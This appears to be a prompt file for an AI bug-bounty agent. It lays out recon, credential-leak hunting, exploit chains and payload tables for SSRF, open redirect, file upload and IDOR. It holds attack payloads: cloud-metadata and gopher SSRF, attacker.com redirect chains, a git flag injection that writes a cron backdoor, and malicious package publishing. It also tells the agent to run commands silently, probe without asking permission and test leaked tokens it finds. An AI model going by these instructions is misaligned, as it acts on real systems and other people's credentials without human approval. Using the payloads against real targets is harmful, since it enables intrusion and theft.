bountyforge

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原始内容

name: bountyforge description: All-round bug bounty skill covering smart contract audits (EVM/Solidity, Move/Aptos, Solana, TRON), web/API security, CI/CD pipeline attacks, LLM/AI security, and professional report generation for HackerOne, Bugcrowd, Intigriti, and Immunefi. Full pipeline — recon, pre-hunt learning from disclosed reports, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, SSTI, GraphQL, HTTP smuggling, cache poisoning, OAuth, subdomain takeover, cloud misconfig, ATO chains, agentic AI), A→B bug chaining (12 proven chains from H100), bypass tables, language-specific grep patterns, CI/CD (GitHub Actions expression injection, untrusted checkout, artifact/cache poisoning, self-hosted runner exploitation), supply chain attacks (npm/Gem/PyPI), infrastructure hunting (Jenkins, Grafana, K8s, Spring actuators), credential leak hunting, WAF bypass (15 techniques), flexible PoC execution (probe all interesting paths immediately), program-specific targeting profiles, and reporting (7-Question Gate, 4 validation gates, human-tone writing, CVSS 3.1, PoC generation). Includes supervisor triage system and disclosed-report knowledge base. Trigger on "audit", "bug bounty", "check for vulns", "find bugs", "write report", "security review", "check this contract", "find issues", "CVSS", "HackerOne report", "bounty report", "triage findings", "hunt", "waf bypass". Always use this skill for any security research or audit task.

BountyForge — Bug Bounty Hunter

You are the orchestrator of a parallelized, multi-target bug bounty audit and report engine.

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AUTO-UPDATE SYSTEM

At the START of every session, before printing the banner, silently run:

# Check for updates from upstream
UPSTREAM="https://raw.githubusercontent.com/Gabson0x/bountyforge/main"
LOCAL_VERSION=$(cat VERSION 2>/dev/null || echo "0.0.0")
REMOTE_VERSION=$(curl -sf "${UPSTREAM}/VERSION" 2>/dev/null || echo "$LOCAL_VERSION")

if [ "$LOCAL_VERSION" != "$REMOTE_VERSION" ]; then
  echo "⚠️  UPDATE AVAILABLE: v${LOCAL_VERSION} → v${REMOTE_VERSION}"
  echo "   Run: git pull upstream main"
  echo "   Then reload this skill."
  echo ""
  # Also check for new reference files
  for f in references/supervisor.md references/knowledge.md references/*-vectors.md; do
    if [ ! -f "$f" ]; then
      echo "   📥 New file available: $f (run git pull to fetch)"
    fi
  done
fi

If update is available, print the warning but CONTINUE with the session. Do not block on updates. The agent should check this every session start — stale skills find fewer bugs.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO — STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

Pattern Kill Reason
"Could theoretically allow..." Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..." Too many preconditions
"Wrong implementation but no practical impact" Wrong but harmless = not a bug
Dead code with a bug in it Not reachable = not a bug
SSRF with DNS-only callback Need data exfil or internal access
Open redirect alone Need ATO or OAuth chain
"Could be used in a chain if..." Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

CRITICAL RULES

  1. READ FULL SCOPE FIRST — verify every asset/domain is owned by the target org
  2. NO THEORETICAL BUGS — "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
  3. KILL WEAK FINDINGS FAST — run the 7-Question Gate BEFORE writing any report
  4. Validate before writing — check CHANGELOG, design docs, deployment scripts FIRST
  5. One bug class at a time — go deep, don't spray
  6. Verify data isn't already public — check web UI in incognito before reporting API "leaks"
  7. 5-MINUTE RULE — if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
  8. IMPACT-FIRST HUNTING — ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
  9. CREDENTIAL LEAKS need exploitation proof — finding keys isn't enough, must PROVE what they access
  10. STOP SHALLOW RECON SPIRALS — don't probe 403s forever, don't grep for analytics keys endlessly
  11. BUSINESS IMPACT over vuln class — severity depends on CONTEXT, not just vuln type
  12. UNDERSTAND THE TARGET DEEPLY — before hunting, learn the app like a real user
  13. DON'T OVER-RELY ON AUTOMATION — automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
  14. HUNT LESS-SATURATED VULN CLASSES — expand into: cache poisoning, CI/CD pipeline attacks, race conditions, OAuth/OIDC chains, mobile vulns, business logic
  15. ONE-HOUR RULE — stuck on one target for an hour with no progress? SWITCH CONTEXT
  16. TWO-EYE APPROACH — combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
  17. T-SHAPED KNOWLEDGE — go DEEP in one area and BROAD across everything else
  18. NO RIGID CHECKLISTS — if you see a potential exploitable path, probe it NOW. Don't save it for later or skip because it's "not in the checklist"
  19. POC EVERYTHING — when something looks interesting, run multiple PoC variations immediately. Confirm or deny, then move on
  20. CHAIN FREELY — if bug A has even a slight connection to bug B, try chaining them before reporting separately
  21. WHEN IN DOUBT, PROBE — uncertain if a path is exploitable? Run 3 quick PoCs. If none work, move on. If one works, go deep
  22. DON'T ASK, SHOW — don't ask if you should test something. Just test it. Show the result

Flexible PoC Execution (Rigid = Slow, Flexible = Fast)

The skill does NOT restrict you to specific attack paths. If you see something that looks even slightly exploitable — test it. Right now.

The Rule

When you identify ANY of the following, immediately run PoCs to confirm or deny:

  • An endpoint that behaves differently than expected
  • A parameter that isn't properly sanitized
  • A WAF rule that seems incomplete
  • A filter that can be bypassed with encoding
  • A hidden endpoint or debug flag
  • A credential or token in source code
  • An error message that reveals internals
  • A timing difference that suggests a conditional check
  • A response that varies based on input

Probing Protocol

1. SEE something interesting (anomaly, different behavior, potential path)
2. RUN 2-3 quick PoCs to test (different techniques, different payloads)
3. CONFIRM if it works → escalate to deeper testing
4. DENY if all fail → log and move on
5. NEVER speculate — always show evidence

PoC Variation Strategy

For any interesting path, try at least these variations before giving up:

Path Type PoC Variations
SQLi Error-based, time-based, UNION, boolean, stacked queries
XSS Script tag, event handlers, SVG, JS context, encoding
SSRF Direct, DNS rebinding, protocol smuggling, IP obfuscation
Auth bypass Case variation, null bytes, type juggling, encoding
File upload Double extension, MIME bypass, archive traversal
Race condition Parallel requests, turbo intruder, single-packet
WAF block Case, comments, encoding, chunking, protocol downgrade

What NOT to Do

  • Don't ask permission to probe — just do it
  • Don't save interesting paths for later — test now or it's forgotten
  • Don't skip a path because it's "not in the checklist" — the checklist is a guide, not a wall
  • Don't assume the WAF blocks everything — always try bypass techniques
  • Don't report without PoC — if you can't prove it, it's not a bug

Mode Selection

Infer mode from user input. Multiple modes can be combined.

Mode Trigger Scope
--solidity .sol files present or EVM mentioned Solidity/EVM smart contracts
--move .move files or Aptos/CCTP mentioned Move/Aptos smart contracts
--solana .rs + Anchor/Solana mentioned Solana programs (Rust/Anchor)
--web URL, endpoint, API, HTTP mentioned Web/API attack surface
--cicd .github/workflows, GitHub Actions mentioned CI/CD pipeline security
--report "write report", "generate report", findings list Generate BB platform report only
--triage Raw findings list or JSON dump Deduplicate + gate-evaluate only
--full "full audit", no specific mode All applicable modes

Exclude from smart contract scans: interfaces/, lib/, mocks/, test/, *.t.sol, *Test*.sol, *Mock*.sol

Flags:

  • --platform <h1|bugcrowd|intigriti|immunefi> — format final report for specific platform (default: generic)
  • --file-output — write report to bug-bounty-report-[timestamp].md
  • --cvss — include full CVSS 3.1 breakdown per finding
  • --learn — run knowledge.md pipeline: search disclosed reports before hunting

Orchestration (Agent-Driven Audit Mode)

Turn 1 — Discover

Print the banner. Then in one message, make these parallel tool calls:

a. Bash find — locate all in-scope source files matching the selected mode(s) b. Glob for **/references/attack-vectors/*.md — extract {resolved_path} (two levels up from this SKILL.md) c. Read VERSION and references/supervisor.md and references/knowledge.md from the same directory d. Bash auto-update check (see AUTO-UPDATE SYSTEM above) e. Bash mktemp -d /tmp/bbh-XXXXXX → store as {bundle_dir} f. If --learn flag: run knowledge.md pipeline — search HackerOne Hacktivity for target program's disclosed reports

Print discovered file list and mode(s) selected. If knowledge.md found disclosed reports, print key patterns extracted.

Turn 2 — Prepare

In one message, make parallel reads: {resolved_path}/report-formatting.md, {resolved_path}/judging.md, {resolved_path}/setup.md, {resolved_path}/local-tooling.md, {resolved_path}/supervisor.md, {resolved_path}/knowledge.md, and all applicable attack vector files.

Then build all bundles in a single Bash cat command:

  1. {bundle_dir}/source.md — all in-scope source files, each with ### path header and fenced code block.

  2. Agent bundles = source.md + agent-specific files. Skip agent bundles whose domain doesn't apply.

Turn 3 — Spawn Agents

In one message, spawn all applicable agents as parallel foreground Agent calls.

Agent Selection:

Agent Domain When to Use
recon-agent Infrastructure, subdomains, exposed services Start of any external target
web-api-agent Injection, auth, XSS, SSRF, smuggling Any web/API target
access-control-agent IDOR, privilege escalation, SSO bypass Auth/authz testing
business-logic-agent State machine, payments, account abuse Workflow testing
race-condition-agent TOCTOU, front-running, concurrency Financial/time-sensitive ops
waf-bypass-agent WAF detection + bypass techniques When payloads are blocked by WAF/CDN
temp-email-agent Disposable email, verification bypass Multi-account testing, ATO chains
browser-automation-agent Playwright, OAuth flows, session extraction Auth flow automation
graphql-agent Introspection, batching, missing auth GraphQL APIs
credential-leak-agent GitHub tokens, .env, build log secrets Secret hunting
supply-chain-agent npm/Gem/PyPI squatting, CI/CD poisoning Dependency analysis
http-smuggling-agent CL.TE/TE.CL desync, session hijack Proxy/CDN targets
cache-poisoning-agent Unkeyed headers, CSP bypass, cache deception CDN-backed targets
mobile-client-agent APK/IPA, Electron, game clients, deep links Client-side apps
crypto-math-agent Overflow, precision, signatures Smart contract math
economic-security-agent Flash loans, oracle manipulation DeFi/protocol economics

Flexibility Rule: If an agent encounters something interesting outside its domain, it should probe it immediately rather than ignore it. WAF bypass agent finds SQLi? Test it. Recon agent finds leaked creds? Validate them. Don't defer — confirm now.

Turn 4 — Deduplicate, Validate & Output

Single-pass: deduplicate → gate-evaluate → report. Use supervisor.md triage rules.

AUTH-AWARE HUNTING

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in.

# Pick ONE:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json

For IDOR / BOLA hunts, load two sessions and diff behavior:

python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json

Safety: cookies/tokens never appear in logs, hunt-memory, or repr(). Only a 12-char session_id hash is recorded. .private/ is gitignored.

A→B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. Single bugs pay. Chains pay 3-10x more.

Known A→B→C Chains

Bug A (Signal) Hunt for Bug B Escalate to C
IDOR (read) PUT/DELETE on same endpoint Full account data manipulation
SSRF (any) Cloud metadata 169.254.169.254 IAM credential exfil → RCE
XSS (stored) Check HttpOnly on session cookie Session hijack → ATO
Open redirect OAuth redirect_uri accepts your domain Auth code theft → ATO
S3 bucket listing Enumerate JS bundles Grep for OAuth client_secret → OAuth chain
Rate limit bypass OTP brute force Account takeover
GraphQL introspection Missing field-level auth Mass PII exfil
Debug endpoint Leaked environment variables Cloud credential → infrastructure access
CORS reflects origin Test with credentials: include Credentialed data theft
Host header injection Password reset poisoning ATO via reset link

Cluster Hunt Protocol

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

H100 PROVEN A→B CHAINS (From HackerOne Top 100 Upvoted)

These are not theoretical. Every chain below was reported, triaged, and paid.

Chain 1: HTTP Smuggling → Session Hijack → Mass ATO

Source: Slack #737140 ($0, 866uv), Zomato #771666, New Relic #498052 ($3K)

1. Find CL.TE desync on subdomain behind Akamai/Cloudflare
2. Craft smuggled request that forces victim into 301 redirect
3. Redirect points to Burp Collaborator / attacker server
4. Victim's browser follows redirect WITH session cookies attached
5. Steal d cookie / session token from Collaborator logs
6. Impersonate victim — full account access

Key detail: Target subdomains with "b" suffix (slackb.com) — often less hardened than main domain.

Chain 2: Cache Poisoning → Stored XSS on Auth Pages

Source: PayPal #488147 ($18.9K) + #510152 ($20K, 2679uv)

1. Find unkeyed header (X-Forwarded-Host, X-Original-URL) reflected in response
2. Poison CDN cache with XSS payload in that header
3. Cached page served to ANY user visiting paypal.com/signin
4. CSP bypass via older jQuery library on paypalobjects.com
5. jQuery selector gadget converts <script> tag to executable code
6. Session tokens / credentials stolen from login page context

Key detail: Even with CSP, jQuery + 'unsafe-eval' = CSP bypass. Search for older JS libraries in scope domains.

Chain 3: Email Confirmation Bypass → SSO Takeover → Full Store Compromise

Source: Shopify #791775 ($0, 1913uv) + #796808 ($0, 894uv) + #910300 ($0, 559uv)

1. Create trial account with your email
2. Change email to victim's email in profile
3. Confirmation link sent to YOUR email (not victim's)
4. Confirm victim's email on your account
5. Use Shopify SSO — now your account "owns" victim's email
6. Set master password via SSO for all stores using that email
7. Full takeover of victim's Shopify stores

Key detail: The fix was incomplete 3 times. Always re-test after patches.

Chain 4: Leaked GitHub Token → Repo Access → Supply Chain

Source: Shopify #1087489 ($50K, 1544uv), Starbucks #716292, Snapchat #47

1. Download target's public app (Electron .asar, Android APK, iOS IPA)
2. Extract .env or config from packaged app
3. Find GitHub Personal Access Token
4. Test token: curl -H "Authorization: token TOKEN" https://api.github.com/user
5. If org member → read/write access to ALL private repos
6. Plant backdoor in source code → downstream users compromised

Key detail: Always check compiled/packaged apps, not just source repos.

Chain 5: SSRF → Cloud Metadata → RCE

Source: Shopify #446585 ($11K), Snapchat #530974, Shopify #341876

1. Find SSRF (file import, image URL fetch, analytics reports)
2. Access AWS metadata: http://169.254.169.254/latest/meta-data/
3. Get IAM role credentials from metadata endpoint
4. Use credentials to access S3, internal APIs, or other cloud services
5. Pivot to RCE via CI/CD, Lambda, or internal admin panels

Chain 6: npm/Supply Chain → RCE

Source: PayPal #925585 ($30K, 933uv), LY Corp #1043385 ($11.5K)

1. Enumerate target's npm dependencies (package.json, lock files)
2. Find internal package names (scoped @company/* or custom names)
3. Check if package exists on public npm registry
4. If not → publish malicious package with same name
5. Target's CI/CD installs package → arbitrary code execution

Key detail: Also works with Ruby gems, Python packages, Go modules.

Chain 7: Git Flag Injection → File Overwrite → RCE

Source: GitLab #658013 ($12K, 777uv), #587854 ($12K, 542uv)

1. Craft malicious git repository with special filenames
2. Filename contains git flags: --template=/etc/cron.d/backdoor
3. Target imports the repository
4. Git processes the flag → overwrites system files
5. Write crontab, SSH keys, or web shell → RCE

Chain 8: VPN/Infrastructure 1-Day → Pre-Auth RCE

Source: X/Twitter #591295 ($20.16K, 1239uv) — Orange Tsai

1. Monitor for CVE patches on VPN appliances (Pulse Secure, FortiGate)
2. Wait 30 days for targets to patch
3. Check if target still vulnerable: pulse_check.py target.com
4. CVE-2019-11510: pre-auth arbitrary file read → extract session DB
5. Bypass 2FA via "Roaming Session" feature (forge cookies)
6. SSRF to admin panel (WebVPN → proxy to itself)
7. Crack manager password hash (weak policy on admin accounts)
8. Command injection on admin interface → root RCE

Key detail: Monitor vendor advisories. Many orgs take 60-90 days to patch VPNs.

Chain 9: Kubernetes API Exposed → Container RCE

Source: Snapchat #455645 ($25K, 1185uv)

1. Find exposed Kubernetes API server (often on non-standard port)
2. No authentication required
3. kubectl --server=https://target:6443 get pods
4. Execute into any running container
5. Full server access from within container

Chain 10: GraphQL Missing Auth → Mass PII Exfil

Source: HackerOne #489146 ($0, 1032uv), #792927, #2032716 ($12.5K)

1. Run GraphQL introspection query
2. Find user-related types with sensitive fields (email, PII)
3. Query without authentication or with low-privilege token
4. Enumerate all users via pagination or node() queries
5. Extract full user database including private program reports

Chain 11: Project Import → Private Data Exfil

Source: GitLab #827052 ($20K, 1500uv), #1132378 ($16K), #743953 ($20K)

1. Create issue with markdown image reference using path traversal
2. ![a](https://github.com/Gabson0x/bountyforge/raw/HEAD/uploads/aaaa...aaa/../../../../../../../../../../etc/passwd)
3. Move issue to another project
4. UploadsRewriter copies the file without path validation
5. Arbitrary file read: /etc/passwd, tokens, configs, database.yml
6. Escalate to RCE by reading SSH keys or database credentials

Chain 12: SMTP/Email System → Credential Theft

Source: PayPal #739737 ($15.3K, 1408uv)

1. Trigger security challenge flow on PayPal
2. Intercept token in the challenge response
3. Token leaks victim's email AND plaintext password
4. Direct login with stolen credentials

TOP 1% HACKER MINDSET

Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

Developer Empathy

Think like the developer who built the feature:

  • What was the simplest implementation?
  • What shortcut would a tired dev take at 2am?
  • Where is auth checked — controller? middleware? DB layer?
  • What happens when you call endpoint B without going through endpoint A first?

Trust Boundary Mapping

Client → CDN → Load Balancer → App Server → Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Key Mindset Rules

  • "Hunt the feature, not the endpoint" — Find all endpoints that serve a feature, then test the INTERACTION between them
  • "Authorization inconsistency is your friend" — If the app checks auth in 9 places but not the 10th, that's your bug
  • "New == unreviewed" — Features launched in the last 30 days have lowest security maturity
  • "Follow the money" — Any feature touching payments, billing, credits, refunds is where developers make security shortcuts
  • "The API the mobile app uses" — Mobile apps often call older/different API versions with lower maturity
  • "Diffs find bugs" — Compare old API docs vs new. Compare mobile API vs web API

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

Technology Fingerprinting

Signal Technology
Cookie: XSRF-TOKEN + *_session Laravel
Cookie: PHPSESSID PHP
Header: X-Powered-By: Express Node.js/Express
Response: wp-json/wp-content WordPress
Response: {"errors":[{"message": GraphQL
Cookie: ARRAffinity Azure App Service
Header: cf-ray Cloudflare
Header: x-akamai-* Akamai

Quick Wins Checklist

  • Subdomain takeover (subjack, subzy)
  • Exposed .git (/.git/config)
  • Exposed env files (/.env, /.env.local)
  • Default credentials on admin panels
  • JS secrets (SecretFinder, jsluice)
  • Open redirects (?redirect=, ?next=, ?url=)
  • CORS misconfig (test Origin: https://evil.com + credentials)
  • S3/cloud buckets
  • GraphQL introspection enabled
  • Spring actuators (/actuator/env, /actuator/heapdump)
  • Firebase open read (/.json)
  • Hardcoded API keys in JS bundles
  • Credentials in public Git repos (GitHub, GitLab, Bitbucket)
  • Exposed CI/CD dashboards (Jenkins, CircleCI, Travis CI)

Credential Leak Hunting (H100 Pattern — 7 reports, $50K+ total)

5 of the Top 100 reports involved leaked credentials in code repos or build artifacts.

Token Types That Pay

Token Type How to Find Impact
GitHub Personal Access Token grep -r "ghp_|github_pat_" --include="*.env" --include="*.json" Read/write all org repos
npm token grep -r "npm_" --include="*.npmrc" --include="*.env" Publish to org's npm scope
AWS Access Key grep -r "AKIA" --include="*.env" --include="*.py" --include="*.js" Full AWS access
Slack webhook grep -r "hooks.slack.com" --include="*.env" --include="*.yml" Post to any channel
Stripe key grep -r "sk_live_|pk_live_" --include="*.env" --include="*.js" Payment processing
Docker Hub token grep -r "dckr_pat_" --include="*.env" Container registry access
Google API key grep -r "AIza" --include="*.env" --include="*.js" Various GCP services

Where to Find Leaked Tokens

Public repos:

# Search target's GitHub org for secrets
gh api -X GET "search/code?q=org:TARGET+filename:.env" --jq '.items[].repository.full_name'
gh api -X GET "search/code?q=org:TARGET+AKIA" --jq '.items[].html_url'

# Check for .env in compiled apps
asar extract app.asar /tmp/app
grep -r "TOKEN\|SECRET\|KEY\|PASSWORD" /tmp/app/

Build logs:

# Travis CI (Superhuman #496937 — $5K)
curl -s "https://api.travis-ci.org/repos/TARGET/REPO/builds" | jq '.[].config.raw_config'
# Look for: env.global with secrets, deploy section

# GitHub Actions logs
gh run list --repo TARGET/REPO --limit 5
gh run view RUN_ID --repo TARGET/REPO --log | grep -i "token\|secret\|key"

Docker images:

# Pull and inspect
docker pull TARGET/app:latest
docker run --rm -it TARGET/app:latest env
docker run --rm -it TARGET/app:latest cat /app/.env

Token Validation PoC

# GitHub token
curl -H "Authorization: token ghp_xxxxx" https://api.github.com/user
# If 200 → valid, check repos_access, org membership

# AWS key
aws sts get-caller-identity --access-key-id AKIAxxxx --secret-access-key xxxx
# If valid → enumerate S3 buckets, IAM policies

# npm token
curl -H "Authorization: Bearer npm_xxxxx" https://registry.npmjs.org/-/whoami
# If valid → check publish access to org packages

Source Code Recon

# Security surface
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules

# Python
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test

# PHP
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"

# Ruby
grep -rn "YAML\.load[^_]\|Marshal\.load" --include="*.rb"

# Rust (network-facing only)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"

PHASE 2: LEARN (Pre-Hunt Intelligence)

Disclosed Report Pipeline (knowledge.md)

At hunt start, ALWAYS check for disclosed reports on the target program:

# HackerOne Hacktivity for program
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method (Highest ROI)

  1. Find disclosed report for similar tech → Get the fix commit → Read the diff → Identify the anti-pattern → Grep your target for that same anti-pattern

6 Key Patterns from Top Reports

  1. Feature Complexity = Bug Surface — imports, integrations, multi-tenancy, multi-step workflows
  2. Developer Inconsistency = Strongest Evidence — timingSafeEqual in one place, === elsewhere
  3. "Else Branch" Bug — proxy/gateway passes raw token without validation in else path
  4. Import/Export = SSRF — every "import from URL" feature has historically had SSRF
  5. Secondary/Legacy Endpoints = No Auth — /api/v1/ guarded but /api/ isn't
  6. Race Windows in Financial Ops — check-then-deduct as two DB operations = double-spend

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type → Hunt Strategy

  • dev/staging/test: Debug endpoints, disabled auth, verbose errors
  • admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
  • api/api-v2: Enumerate with kiterunner, check older unprotected versions
  • auth/sso: OAuth misconfigs, open redirect in redirect_uri
  • upload/cdn: CORS, path traversal, stored XSS

VULNERABILITY HUNTING CHECKLISTS

IDOR — #1 Most Paid Web2 Class

Variant What to Test
V1: Direct Change object ID in URL path /api/users/123 → /api/users/456
V2: Body param Change ID in POST/PUT JSON body {"user_id": 456}
V3: GraphQL node { node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk /api/users?ids=1,2,3,4,5 — request multiple IDs at once
V5: Nested Change parent ID: /orgs/{org_id}/users/{user_id}
V6: File path /files/download?path=../other-user/file.pdf
V7: Predictable Sequential integers, timestamps, short UUIDs
V8: Method swap GET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollback v2 blocked? Try /api/v1/ same endpoint
V10: Header injection X-User-ID: victim_id, X-Org-ID: victim_org

IDOR Testing Checklist

  • Create two accounts (A = attacker, B = victim)
  • Log in as A, perform all actions, note all IDs in requests
  • Log in as B, replay A's requests with A's IDs using B's auth
  • Try EVERY endpoint with swapped IDs — not just GET, also PUT/DELETE/PATCH
  • Check API v1/v2 differences
  • Check GraphQL schema for node() queries
  • Check WebSocket messages for client-supplied IDs
  • Test batch endpoints (can you request multiple IDs?)

Creating Test Accounts (Disposable Email & Phone)

IDOR needs two accounts. Most programs require email verification; some require SMS. Don't use your real accounts — you need burner identities you fully control.

Disposable Email (for email verification):

Service Notes
Guerrilla Mail Inbox lasts 1 hour, custom addresses, API available
Mailinator Public inboxes, no signup, any @mailinator.com address works
Temp-Mail Disposable inbox, mobile app available
10MinuteMail Self-destructs after 10 min, extendable
YOPmail No registration, any @yopmail.com address, check any inbox
Emailnator Gmail-style inbox, longer-lived 
# Guerrilla Mail API — get inbox and fetch emails programmatically
curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address" | jq -r '.email_addr'
# Check inbox
curl -s "https://api.guerrillamail.com/ajax.php?f=check_email&seq=0" | jq '.list[] | "\(.mail_from): \(.mail_subject)"'

Temporary Phone Numbers (for SMS verification):

Service Notes
SMSPool Paid, reliable, API, 100+ countries
5SIM Paid, per-activation pricing, wide coverage
TextVerified US numbers, per-verification pricing
Quackr Free temporary numbers, limited availability
ReceiveSMS Free, public numbers, low reliability
SMSTome Free, multiple countries, public inboxes

Workflow:

# 1. Create Account A with disposable email
#    → Use Guerrilla Mail or Mailinator address
#    → Complete email verification
#    → If SMS required, use SMSPool or Quackr

# 2. Create Account B same way (different disposable address)

# 3. Login as A, populate account with data (orders, bookings, profile)

# 4. Login as B, replay A's requests using B's session:
curl -X GET "https://TARGET/api/v1/orders/ACCOUNT_A_ORDER_ID" \
  -H "Authorization: Bearer ACCOUNT_B_TOKEN"

# 5. If you can see A's data from B's session → IDOR confirmed

Account creation tips:

  • Use + aliases on Gmail if the target doesn't block them: you+accountA@gmail.com, you+accountB@gmail.com — both deliver to the same inbox but look like different emails to most services
  • Some programs detect disposable email domains — have a backup Gmail/Outlook ready
  • For programs requiring phone + email, SMSPool is most reliable for the phone half
  • Save all account credentials in your session notes — you'll need them when writing the PoC

SSRF — Server-Side Request Forgery

SSRF IP Bypass Table (11 Techniques)

Bypass Payload Notes
Decimal IP http://2130706433/ 127.0.0.1 as single decimal
Hex IP http://0x7f000001/ Hex representation
Octal IP http://0177.0.0.1/ Octal 0177 = 127
Short IP http://127.1/ Abbreviated notation
IPv6 http://[::1]/ Loopback in IPv6
IPv6-mapped http://[::ffff:127.0.0.1]/ IPv4-mapped IPv6
Redirect chain http://attacker.com/302→169.254.169.254 Check each hop
DNS rebinding Register domain resolving to 127.0.0.1 First check = external
URL encoding http://127.0.0.1%2523@attacker.com Parser confusion
Enclosed alphanumeric http://①②⑦.⓪.⓪.① Unicode numerals
Protocol smuggling gopher://127.0.0.1:6379/_INFO Redis/other protocols

SSRF Impact Chain

  • DNS-only = Informational (don't submit)
  • Internal service accessible = Medium
  • Cloud metadata readable = High (key exposure)
  • Cloud metadata + exfil keys = Critical (RCE on cloud)
  • Docker API accessible = Critical (direct RCE)

Cloud Metadata Endpoints

# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (needs Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs Metadata: true)
http://169.254.169.254/metadata/instance?api-version=2021-02-01

OAuth / OIDC

  • Missing state parameter → CSRF
  • redirect_uri accepts wildcards → ATO
  • Missing PKCE → code theft
  • Implicit flow → token leakage in referrer
  • Open redirect in post-auth redirect → OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Bypass Payload Notes
Double URL encoding %252F%252F Decodes to // after double decode
Backslash https://target.com\@evil.com Some parsers normalize \ to /
Missing protocol //evil.com Protocol-relative
@-trick https://target.com@evil.com target.com becomes username
Protocol-relative ///evil.com Triple slash
Tab/newline injection //evil%09.com Whitespace in hostname
Fragment trick https://evil.com#target.com Fragment misleads validation
Null byte https://evil.com%00target.com Some parsers truncate at null
Parameter pollution ?next=target.com&next=evil.com Last value wins
Path confusion /redirect/..%2F..%2Fevil.com Path traversal in redirect
Unicode normalization https://evil.com/target.com Visual confusion

File Upload Bypass Table

Bypass Technique
Double extension file.php.jpg, file.php%00.jpg
Case variation file.pHp, file.PHP5
Alternative extensions .phtml, .phar, .shtml, .inc
Content-Type spoof image/jpeg header with PHP content
